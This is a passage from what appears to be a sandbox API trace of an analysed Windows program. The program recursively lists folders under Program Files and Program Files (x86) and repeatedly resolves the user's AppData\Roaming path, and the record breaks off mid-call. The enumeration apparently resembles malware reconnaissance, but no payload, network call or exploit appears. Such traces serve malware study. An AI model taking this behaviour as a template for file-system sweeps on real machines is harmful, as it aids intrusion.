lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98467270, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x98467270, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.581] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files\\Windows Photo Viewer", pszFile="en-US" | out: pszDest="C:\\Program Files\\Windows Photo Viewer\\en-US") returned="C:\\Program Files\\Windows Photo Viewer\\en-US" [0266.581] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Windows Portable Devices" | out: pszDest="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices" [0266.581] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.581] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.581] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.582] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Windows Portable Devices" | out: psz1="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices" [0266.582] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Windows Portable Devices" | out: psz1="C:\\Program Files\\Windows Portable Devices") returned="C:\\Program Files\\Windows Portable Devices" [0266.582] lstrlenW (lpString="\\*") returned 2 [0266.582] lstrlenW (lpString="C:\\Program Files\\Windows Portable Devices") returned 41 [0266.582] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6f3c38 [0266.582] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\*" (normalized: "c:\\program files\\windows portable devices\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x973715b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x973715b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.582] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="Windows Sidebar" | out: pszDest="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar" [0266.582] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.582] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.582] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.582] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\Windows Sidebar" | out: psz1="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar" [0266.582] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\Windows Sidebar" | out: psz1="C:\\Program Files\\Windows Sidebar") returned="C:\\Program Files\\Windows Sidebar" [0266.582] lstrlenW (lpString="\\*") returned 2 [0266.583] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar") returned 32 [0266.583] LocalAlloc (uFlags=0x40, uBytes=0x144) returned 0x6f3c38 [0266.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\*" (normalized: "c:\\program files\\windows sidebar\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x979fd230, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x979fd230, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.583] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\Windows Sidebar", pszFile="en-US" | out: pszDest="C:\\Program Files\\Windows Sidebar\\en-US") returned="C:\\Program Files\\Windows Sidebar\\en-US" [0266.583] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\Windows Sidebar", pszFile="Gadgets" | out: pszDest="C:\\Program Files\\Windows Sidebar\\Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Gadgets" [0266.583] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\Windows Sidebar", pszFile="Shared Gadgets" | out: pszDest="C:\\Program Files\\Windows Sidebar\\Shared Gadgets") returned="C:\\Program Files\\Windows Sidebar\\Shared Gadgets" [0266.583] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files", pszFile="WindowsPowerShell" | out: pszDest="C:\\Program Files\\WindowsPowerShell") returned="C:\\Program Files\\WindowsPowerShell" [0266.583] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.583] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.583] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.583] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files\\WindowsPowerShell" | out: psz1="C:\\Program Files\\WindowsPowerShell") returned="C:\\Program Files\\WindowsPowerShell" [0266.583] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files\\WindowsPowerShell" | out: psz1="C:\\Program Files\\WindowsPowerShell") returned="C:\\Program Files\\WindowsPowerShell" [0266.584] lstrlenW (lpString="\\*") returned 2 [0266.584] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell") returned 34 [0266.584] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6f3c38 [0266.584] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\*" (normalized: "c:\\program files\\windowspowershell\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x9734b450, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9734b450, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.585] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\WindowsPowerShell", pszFile="Configuration" | out: pszDest="C:\\Program Files\\WindowsPowerShell\\Configuration") returned="C:\\Program Files\\WindowsPowerShell\\Configuration" [0266.585] PathCombineW (in: pszDest=0x6f3d88, pszDir="C:\\Program Files\\WindowsPowerShell", pszFile="Modules" | out: pszDest="C:\\Program Files\\WindowsPowerShell\\Modules") returned="C:\\Program Files\\WindowsPowerShell\\Modules" [0266.585] PathCombineW (in: pszDest=0x6f15b0, pszDir="C:", pszFile="Program Files (x86)" | out: pszDest="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0266.585] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4ec0 [0266.585] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f1fe0 [0266.585] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f4ec0, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.585] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Program Files (x86)" | out: psz1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0266.585] StrCpyW (in: psz1=0x6f1fe0, psz2="C:\\Program Files (x86)" | out: psz1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)" [0266.585] lstrlenW (lpString="\\*") returned 2 [0266.585] lstrlenW (lpString="C:\\Program Files (x86)") returned 22 [0266.585] LocalAlloc (uFlags=0x40, uBytes=0x130) returned 0x6bf278 [0266.585] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*" (normalized: "c:\\program files (x86)\\*"), lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1434c8c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x1434c8c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca4c0 [0266.586] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Common Files" | out: pszDest="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0266.586] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.586] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.586] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.586] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Common Files" | out: psz1="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0266.586] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Common Files" | out: psz1="C:\\Program Files (x86)\\Common Files") returned="C:\\Program Files (x86)\\Common Files" [0266.586] lstrlenW (lpString="\\*") returned 2 [0266.586] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files") returned 35 [0266.586] LocalAlloc (uFlags=0x40, uBytes=0x14a) returned 0x6f3c38 [0266.586] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*" (normalized: "c:\\program files (x86)\\common files\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x981b99b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x981b99b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.587] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Common Files", pszFile="DESIGNER" | out: pszDest="C:\\Program Files (x86)\\Common Files\\DESIGNER") returned="C:\\Program Files (x86)\\Common Files\\DESIGNER" [0266.587] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Common Files", pszFile="microsoft shared" | out: pszDest="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared" [0266.587] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Common Files", pszFile="Services" | out: pszDest="C:\\Program Files (x86)\\Common Files\\Services") returned="C:\\Program Files (x86)\\Common Files\\Services" [0266.587] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Common Files", pszFile="SpeechEngines" | out: pszDest="C:\\Program Files (x86)\\Common Files\\SpeechEngines") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines" [0266.587] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Common Files", pszFile="System" | out: pszDest="C:\\Program Files (x86)\\Common Files\\System") returned="C:\\Program Files (x86)\\Common Files\\System" [0266.587] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Internet Explorer" | out: pszDest="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer" [0266.587] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.587] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.587] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.587] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Internet Explorer" | out: psz1="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer" [0266.587] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Internet Explorer" | out: psz1="C:\\Program Files (x86)\\Internet Explorer") returned="C:\\Program Files (x86)\\Internet Explorer" [0266.587] lstrlenW (lpString="\\*") returned 2 [0266.587] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer") returned 40 [0266.587] LocalAlloc (uFlags=0x40, uBytes=0x154) returned 0x6f3c38 [0266.588] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\*" (normalized: "c:\\program files (x86)\\internet explorer\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x981b99b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x981b99b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.588] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\Internet Explorer", pszFile="en-US" | out: pszDest="C:\\Program Files (x86)\\Internet Explorer\\en-US") returned="C:\\Program Files (x86)\\Internet Explorer\\en-US" [0266.588] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\Internet Explorer", pszFile="SIGNUP" | out: pszDest="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP") returned="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" [0266.588] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Microsoft Analysis Services" | out: pszDest="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0266.588] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.588] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.588] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.588] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: psz1="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0266.588] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Microsoft Analysis Services" | out: psz1="C:\\Program Files (x86)\\Microsoft Analysis Services") returned="C:\\Program Files (x86)\\Microsoft Analysis Services" [0266.588] lstrlenW (lpString="\\*") returned 2 [0266.588] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services") returned 50 [0266.588] LocalAlloc (uFlags=0x40, uBytes=0x168) returned 0x6f3c38 [0266.589] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Analysis Services\\*" (normalized: "c:\\program files (x86)\\microsoft analysis services\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe3070060, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x98b3f1b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x98b3f1b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.590] PathCombineW (in: pszDest=0x6f3da8, pszDir="C:\\Program Files (x86)\\Microsoft Analysis Services", pszFile="AS OLEDB" | out: pszDest="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB") returned="C:\\Program Files (x86)\\Microsoft Analysis Services\\AS OLEDB" [0266.590] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Microsoft Office" | out: pszDest="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0266.590] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.590] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.590] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.590] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Microsoft Office" | out: psz1="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0266.590] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Microsoft Office" | out: psz1="C:\\Program Files (x86)\\Microsoft Office") returned="C:\\Program Files (x86)\\Microsoft Office" [0266.590] lstrlenW (lpString="\\*") returned 2 [0266.590] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Office") returned 39 [0266.590] LocalAlloc (uFlags=0x40, uBytes=0x152) returned 0x6f3c38 [0266.590] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Office\\*" (normalized: "c:\\program files (x86)\\microsoft office\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d997770, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x974c8210, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x974c8210, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.591] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\Microsoft Office", pszFile="CLIPART" | out: pszDest="C:\\Program Files (x86)\\Microsoft Office\\CLIPART") returned="C:\\Program Files (x86)\\Microsoft Office\\CLIPART" [0266.591] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\Microsoft Office", pszFile="Document Themes 16" | out: pszDest="C:\\Program Files (x86)\\Microsoft Office\\Document Themes 16") returned="C:\\Program Files (x86)\\Microsoft Office\\Document Themes 16" [0266.591] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\Microsoft Office", pszFile="Office16" | out: pszDest="C:\\Program Files (x86)\\Microsoft Office\\Office16") returned="C:\\Program Files (x86)\\Microsoft Office\\Office16" [0266.591] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\Microsoft Office", pszFile="Stationery" | out: pszDest="C:\\Program Files (x86)\\Microsoft Office\\Stationery") returned="C:\\Program Files (x86)\\Microsoft Office\\Stationery" [0266.591] PathCombineW (in: pszDest=0x6f3d98, pszDir="C:\\Program Files (x86)\\Microsoft Office", pszFile="Templates" | out: pszDest="C:\\Program Files (x86)\\Microsoft Office\\Templates") returned="C:\\Program Files (x86)\\Microsoft Office\\Templates" [0266.591] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Microsoft OneDrive" | out: pszDest="C:\\Program Files (x86)\\Microsoft OneDrive") returned="C:\\Program Files (x86)\\Microsoft OneDrive" [0266.591] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.591] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.591] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.591] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Microsoft OneDrive" | out: psz1="C:\\Program Files (x86)\\Microsoft OneDrive") returned="C:\\Program Files (x86)\\Microsoft OneDrive" [0266.591] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Microsoft OneDrive" | out: psz1="C:\\Program Files (x86)\\Microsoft OneDrive") returned="C:\\Program Files (x86)\\Microsoft OneDrive" [0266.591] lstrlenW (lpString="\\*") returned 2 [0266.591] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft OneDrive") returned 41 [0266.591] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6f3c38 [0266.591] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft OneDrive\\*" (normalized: "c:\\program files (x86)\\microsoft onedrive\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0x98205c70, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x98205c70, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.593] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Microsoft SQL Server" | out: pszDest="C:\\Program Files (x86)\\Microsoft SQL Server") returned="C:\\Program Files (x86)\\Microsoft SQL Server" [0266.593] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.593] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.593] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.593] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Microsoft SQL Server" | out: psz1="C:\\Program Files (x86)\\Microsoft SQL Server") returned="C:\\Program Files (x86)\\Microsoft SQL Server" [0266.593] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Microsoft SQL Server" | out: psz1="C:\\Program Files (x86)\\Microsoft SQL Server") returned="C:\\Program Files (x86)\\Microsoft SQL Server" [0266.593] lstrlenW (lpString="\\*") returned 2 [0266.593] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft SQL Server") returned 43 [0266.593] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x6f3c38 [0266.593] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft SQL Server\\*" (normalized: "c:\\program files (x86)\\microsoft sql server\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc549c20, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xd7703e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xd7703e0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.594] PathCombineW (in: pszDest=0x6f3da0, pszDir="C:\\Program Files (x86)\\Microsoft SQL Server", pszFile="110" | out: pszDest="C:\\Program Files (x86)\\Microsoft SQL Server\\110") returned="C:\\Program Files (x86)\\Microsoft SQL Server\\110" [0266.594] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Microsoft.NET" | out: pszDest="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0266.594] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.594] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.594] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.594] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Microsoft.NET" | out: psz1="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0266.594] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Microsoft.NET" | out: psz1="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0266.594] lstrlenW (lpString="\\*") returned 2 [0266.594] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET") returned 36 [0266.594] LocalAlloc (uFlags=0x40, uBytes=0x14c) returned 0x6f3c38 [0266.594] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*" (normalized: "c:\\program files (x86)\\microsoft.net\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bf03b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x974c8210, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x974c8210, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.595] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Microsoft.NET", pszFile="ADOMD.NET" | out: pszDest="C:\\Program Files (x86)\\Microsoft.NET\\ADOMD.NET") returned="C:\\Program Files (x86)\\Microsoft.NET\\ADOMD.NET" [0266.595] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Microsoft.NET", pszFile="Primary Interop Assemblies" | out: pszDest="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies") returned="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies" [0266.595] PathCombineW (in: pszDest=0x6f3d90, pszDir="C:\\Program Files (x86)\\Microsoft.NET", pszFile="RedistList" | out: pszDest="C:\\Program Files (x86)\\Microsoft.NET\\RedistList") returned="C:\\Program Files (x86)\\Microsoft.NET\\RedistList" [0266.596] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Program Files (x86)", pszFile="Mozilla Firefox" | out: pszDest="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0266.596] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.596] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.596] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.596] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Program Files (x86)\\Mozilla Firefox" | out: psz1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0266.596] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Program Files (x86)\\Mozilla Firefox" | out: psz1="C:\\Program Files (x86)\\Mozilla Firefox") returned="C:\\Program Files (x86)\\Mozilla Firefox" [0266.596] lstrlenW (lpString="\\*") returned 2 [0266.596] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox") returned 38 [0266.596] LocalAlloc (uFlags=0x40, uBytes=0x150) returned 0x6f3c38 [0266.596] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\*" (normalized: "c:\\program files (x86)\\mozilla firefox\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1434c8c0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0x1434c8c0, 